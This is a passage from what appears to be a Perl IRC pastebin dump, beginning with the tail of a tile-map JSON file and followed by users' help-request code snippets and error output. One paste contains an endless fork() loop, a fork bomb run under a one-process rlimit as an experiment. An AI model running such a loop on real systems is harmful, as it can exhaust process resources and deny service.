            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0
         ],
         "name" : "background",
         "y" : 0
      },
      {
         "y" : 0,
         "name" : "surface",
         "opacity" : 1,
         "data" : [
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0
         ],
         "height" : 32,
         "visible" : true,
         "width" : 64,
         "type" : "tilelayer",
         "x" : 0
      },
      {
         "height" : 32,
         "opacity" : 1,
         "objects" : [],
         "name" : "items",
         "y" : 0,
         "type" : "objectgroup",
         "x" : 0,
         "width" : 64,
         "visible" : true
      }
   ],
   "tileheight" : 70,
   "version" : 1,
   "height" : "32",
   "orientation" : "orthogonal",
   "tilewidth" : 70,
   "width" : "64",
   "tilesets" : [
      {
         "firstgid" : 1,
         "spacing" : 0,
         "image" : "../tilesets/tiles_spritesheet.png",
         "tilewidth" : 70,
         "margin" : 0,
         "imagewidth" : 840,
         "tileheight" : 70,
         "properties" : {},
         "name" : "tiles_spritesheet",
         "imageheight" : 912
      }
   ]
}


who: ballison
where: localhost:perlbot:#perl
what: problem passing multi-line shell command
paste:
my @regions = qw( us-west-2 );
my $debug=1;


for my $tmp_region (@regions) {
        print "checking $tmp_region\n" if ($debug);

        my $command=qq/aws ec2 describe-instances  \
                --region $tmp_region \
                --filter "Name=tag:Class,Values=Production"  \
                        "Name=instance-state-name,Values=running"  \
                        "Name=tag-key,Values=Name"  \
                        "Name=tag-value,Values='*abcdefghijk*'"  \
                --query "Reservations[*].Instances[*].{PublicIpAddress:PublicIpAddress}"  \
                --output=text | sort -n)/ ;

        print $command;
        my $tmp_ipt_list=`$command` ;

}


who: ballison
what: fails with \\'s
paste:
#!/usr/bin/perl

use strict;

###########################################################################
# My's
###########################################################################
# my @regions = qw( us-east-1 us-west-2 );
my @regions = qw( us-west-2 );
my $debug=1;


for my $tmp_region (@regions) {
	print "checking $tmp_region\n" if ($debug);

	my $command=qq/aws ec2 describe-instances  \\
		--region $tmp_region \\
		--filter "Name=tag:Class,Values=Production"  \\
			"Name=instance-state-name,Values=running"  \\
			"Name=tag-key,Values=Name"  \\
			"Name=tag-value,Values='*abcdefghijk*'"  \\
		--query "Reservations[*].Instances[*].{PublicIpAddress:PublicIpAddress}"  \\
		--output=text | sort -n)/ ;

	print $command;
	my $tmp_ipt_list=`$command` ;

}







------
RESULTS IN:
    
checking us-west-2
aws ec2 describe-instances  \
		--region us-west-2 \
		--filter "Name=tag:Class,Values=Production"  \
			"Name=instance-state-name,Values=running"  \
			"Name=tag-key,Values=Name"  \
			"Name=tag-value,Values='*abcdefghijk*'"  \
		--query "Reservations[*].Instances[*].{PublicIpAddress:PublicIpAddress}"  \
		--output=text | sort -n)sh: -c: line 7: syntax error near unexpected token `)'
sh: -c: line 7: `		--output=text | sort -n)'


who: ballison
what: no error, but returns nothing
paste:
#!/usr/bin/perl

use strict;

###########################################################################
# My's
###########################################################################
# my @regions = qw( us-east-1 us-west-2 );
my @regions = qw( us-west-2 );
my $debug=1;


for my $tmp_region (@regions) {
        print "checking $tmp_region\n" if ($debug);

        my $command=qq/aws ec2 describe-instances  \\
                --region $tmp_region \\
                --filter "Name=tag:Class,Values=Production"  \\
                        "Name=instance-state-name,Values=running"  \\
                        "Name=tag-key,Values=Name"  \\
                        "Name=tag-value,Values='*'"  \\
                --query "Reservations[*].Instances[*].{PublicIpAddress:PublicIpAddress}"  \\
                --output=text | sort -n/ ;

        print $command;
        print "\n";
        my $tmp_ipt_list=`$command` ;

}


paste:
#!/usr/bin/perl
use warnings;
use strict;

use BSD::Resource;

if (my $child = fork()) {
# parent
    sleep(10);

    # child should have set the processes to 1 by now, so if it's per user we can't fork to run ls.
    system("ls");

    kill 'KILL', $child:w
} else {
    setrlimit(RLIMIT_NPROC, 1,1); # limit to 1 process

    # forkbomb? nope, it will fail the entire time.
    while(1) {fork()}
}


where: localhost:perlbot:#perl
paste:
#!/usr/bin/perl 
use autodie;
use XML::Feed;
use Data::Dumper;
use Path::Tiny;

my $file = path('ethalerts.txt');
my $feed = XML::Feed->parse(
    URI->new(
        'http://technewstube.com/feed/'

    )
) or die XML::Feed->errstr;

my @titles;
my @data;

sub checkfeed {
    for my $entry ( $feed->entries ) {
        unless ( $entry->title ~~ @titles ) {
            push @data,
              join( "\n\n",
                $entry->title, $entry->content->body,
                $entry->link, $entry->issued, "\n\n" );
            $file->spew_utf8(@data);

            #print Dumper ($entry);
            push @titles, $entry->title;
        }
    }
}

while (1) {
    checkfeed();
    sleep(5);
}


where: localhost:perlbot:#perl
what: bad code
paste:
        @matching_words = grep search_for($_, $text_file), @words;
            
        sub search_for {
          my ($target, $file) = @_; 
          return unless open F, "<", $file;
          while (<F>) {
            return 1 if index($_, $target) >= 1;
          }   
          close F;
          return;
        }  
        
        
        There are several things wrong with this code.  Let's talk about them.


paste:
        @matching_words = grep search_for($_, $text_file), @words;
            
        sub search_for {
          my ($target, $file) = @_; 
          return unless open F, "<", $file;
          while (<F>) {
            return 1 if index($_, $target) >= 1;
          }   
          close F;
          return;
        }  
        
        
        # There are several things wrong with this code.  Let's talk about them.


who: revhippie
where: localhost:perlbot:#perl
what: XML::Twig, probable RTFM problem
paste:
#!/usr/bin/env perl
use 5.016;
use warnings;

use XML::Twig;

my $twig = XML::Twig->new;

$twig->parse("<foo><bar>baz</bar><bar>quux</bar></foo>");

my $root = $twig->root;

# Is there a property of $root that can get
# me the tagname of the root element ("foo")?


who: perlpilot
where: localhost:perlbot:#perl
what: example for scottcheifbaker
paste:
my @lines = get_lots_of_lines();

my $flag = 0;
foreach my $l (@lines) {
    if ($flag) {
        $next = $l
        $flag = 0;
        next;
    }
    if ($l =~ /foobar/) {
        $flag = 1;
    }
}


paste:
my @lines = get_lots_of_lines();

for ($i = 0; $i < @lines; $i++) {
    $l = $lines[$i];

    if ($l =~ /foobar/) {
        $next = $lines[++$i];
    }
}


who: Endryu
where: localhost:perlbot:#perl
paste:
#!/usr/bin/perl

use strict;
use warnings;
use 5.010;

my $filename;

if ( (@ARGV > 0) && (@ARGV < 2) ) {
	$filename = $ARGV[0];
}

elsif ( @ARGV == 0 ) {
	print("Not enough parameters![REQUIRED 1 - FILE NAME]\n");
	exit 0;
}

elsif ( @ARGV > 2 ) {
	print("Too many parameters![REQUIRED 1 - FILE NAME]\n");
	exit 0;
}

open(my $fh, $filename)
	or die ("Cant't open $filename: $!");


foreach my $line (<$fh>) {

	my $w = "(.+?)";
	if ( $line =~ m/^$w $w\, \+$w \*\,$w\, $w\, $w\, AGENT='($w )*/ ) {

	my $date = $1;
	my $time = $2;
	my $ip = $3;
	my $lang = $4;
	my $length = $5;
	my $disctiprion = $6;
	my $borwser = $7;
	print "$1 $2 $3 $4 $5 $6 $7\n";
    	chomp($line);
	}
	else {
		print("Wrong file on line:\n $line.\n");
		exit 0;
	}

	last;
}

close($fh)
	or warn ("Closing file $filename failed: $!");



who: javierbuilder
where: localhost:perlbot:#perl
paste:
[lourdes@Invelec-lourdes eprints3]$ sudo bin/epadmin create
[sudo] password for lourdes: 
\C no longer supported in regex; marked by <-- HERE in m/(\ <-- HERE C)/ at /opt/eprints3/bin/../perl_lib/URI/Escape.pm line 205.
Compilation failed in require at /opt/eprints3/bin/../perl_lib/URI.pm line 22.
BEGIN failed--compilation aborted at /opt/eprints3/bin/../perl_lib/URI.pm line 22.
Compilation failed in require at /opt/eprints3/bin/../perl_lib/EPrints/Apache/Auth.pm line 33.
BEGIN failed--compilation aborted at /opt/eprints3/bin/../perl_lib/EPrints/Apache/Auth.pm line 33.
Compilation failed in require at /opt/eprints3/bin/../perl_lib/EPrints.pm line 245.
BEGIN failed--compilation aborted at /opt/eprints3/bin/../perl_lib/EPrints.pm line 245.
Compilation failed in require at bin/epadmin line 258.
BEGIN failed--compilation aborted at bin/epadmin line 258.


paste:
#!/usr/bin/env perl

package DiffHighlight;

use 5.008;
use warnings FATAL => 'all';
use strict;

# Highlight by reversing foreground and background. You could do
# other things like bold or underline if you prefer.
my @OLD_HIGHLIGHT = (
	color_config('color.diff-highlight.oldnormal'),
	color_config('color.diff-highlight.oldhighlight', "\x1b[7m"),
	color_config('color.diff-highlight.oldreset', "\x1b[27m")
);
my @NEW_HIGHLIGHT = (
	color_config('color.diff-highlight.newnormal', $OLD_HIGHLIGHT[0]),
	color_config('color.diff-highlight.newhighlight', $OLD_HIGHLIGHT[1]),
	color_config('color.diff-highlight.newreset', $OLD_HIGHLIGHT[2])
);

my $RESET = "\x1b[m";
my $COLOR = qr/\x1b\[[0-9;]*m/;
my $BORING = qr/$COLOR|\s/;

# The patch portion of git log -p --graph should only ever have preceding | and
# not / or \ as merge history only shows up on the commit line.
my $GRAPH = qr/$COLOR?\|$COLOR?\s+/;

my @removed;
my @added;
my $in_hunk;
our $line_cb = sub { print @_ };

sub handle_line {
	local $_ = shift;

	if (!$in_hunk) {
		$line_cb->($_);
		$in_hunk = /^$GRAPH*$COLOR*\@\@ /;
	}
	elsif (/^$GRAPH*$COLOR*-/) {
		push @removed, $_;
	}
	elsif (/^$GRAPH*$COLOR*\+/) {
		push @added, $_;
	}
	else {
		show_hunk(\@removed, \@added);
		@removed = ();
		@added = ();

		$line_cb->($_);
		$in_hunk = /^$GRAPH*$COLOR*[\@ ]/;
	}

	# Most of the time there is enough output to keep things streaming,
	# but for something like "git log -Sfoo", you can get one early
	# commit and then many seconds of nothing. We want to show
	# that one commit as soon as possible.
	#
	# Since we can receive arbitrary input, there's no optimal
	# place to flush. Flushing on a blank line is a heuristic that
	# happens to match git-log output.
	if (!length) {
		local $| = 1;
	}
}

sub flush {
	# Flush any queued hunk (this can happen when there is no trailing context in
	# the final diff of the input).
	show_hunk(\@removed, \@added);
}

sub highlight_stdio {
	# Some scripts may not realize that SIGPIPE is being ignored when launching the
	# pager--for instance scripts written in Python.
	$SIG{PIPE} = 'DEFAULT';

	while (<>) {
		handle_line($_);
	}
	flush();
	exit 0;
}

# Ideally we would feed the default as a human-readable color to
# git-config as the fallback value. But diff-highlight does
# not otherwise depend on git at all, and there are reports
# of it being used in other settings. Let's handle our own
# fallback, which means we will work even if git can't be run.
sub color_config {
	my ($key, $default) = @_;
	my $s = `git config --get-color $key 2>/dev/null`;
	return length($s) ? $s : $default;
}

sub show_hunk {
	my ($a, $b) = @_;

	# If one side is empty, then there is nothing to compare or highlight.
	if (!@$a || !@$b) {
		$line_cb->(@$a, @$b);
		return;
	}

